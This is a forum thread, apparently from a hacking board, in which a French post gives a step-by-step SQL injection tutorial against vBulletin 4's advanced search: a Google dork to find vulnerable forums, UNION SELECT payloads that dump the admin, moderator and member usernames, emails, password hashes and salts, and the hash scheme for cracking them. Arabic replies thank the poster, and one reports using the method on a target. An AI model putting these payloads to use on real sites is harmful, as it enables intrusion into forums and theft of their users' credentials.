vBulletin 4 SQL Injection Tutorial

[The UnKn0wN]

Salutations,




je vous poste aujourd'hui la nouvelle faille découverte sur le puissant vBulletin.

La vulnérabilité touche les versions 4 de vBulletin . dans le module de la recherche avancée
l'exploitation de la faille ce fait grâce au cébèble plugin firefox (Live HTTP Headers)
Google dork : inurl:”search.php?search_type=1?
La faille nous permet d'avoir le username et le hash du mot de passe qu'on peux décrypter grâce au logiciel PasswordPro ([]) en utilisant l’algorithme
md5(md5($pass).$salt).

Requêtes utilisés pour l'extraction des idents :

Affiche le nom de la BDD :
&cat[0]=1) UNION SELECT database()#


Affiche la liste des tables :
&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#


Affiche les informations du l'Administrateur suprême (User, passe hash, email, salt) :
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#<


Affiche tout les admin :
&cat[0]=1) union+select+group_concat(username,0x3a,password,0x3a,salt) from user where usergroupid=6#


Affiche tout les super modo :
&cat[0]=1) union+select+group_concat(username,0x3a,password,0x3a,salt) from user where usergroupid=5#


Affiche tout les modos :
&cat[0]=1) union+select+group_concat(username,0x3a,password,0x3a,salt) from user where usergroupid=7#


Affiche les membres normaux :
&cat[0]=1) union+select+group_concat(username,0x3a,password,0x3a,salt) from user where usergroupid=2#

Enjoy

[ViRuS_Ra3cH]

merci pour les explications


c'est parfait

[ApOcalYpse]

لا ادري لما اللغة الانجليزية لانو في شرح تم في الحماية للابد اضن شرحين بالعربية + استخدمناها في احد احد الاهداف
لكن معليش فرصة للناس لي تخاف من اللغة الاجنبية

[Ѳ҅҅҅҅҅҅҅҅҅҅҅҅҅]

اسف لاني راح اتكلم عربي
بارك الله فيك اخوي
لكن الطريقة قديمة شوية..وهي تحتاج برنامج برو الخاص بالفيرفوكس لاني تظهر هذا الشئ وهي سهلة جدا جميع المنتديات بأصدار 4.1.2 فما فوق مصابة ونتحدي من لا يوجد مصاب؟ لكن المشكلة في التشفير كلمة السر صعبت جدا انا عندي جهاز قوي لكن احدهم استغرق مني 13 يوم ولم يستطع فك ولا النصف !!!!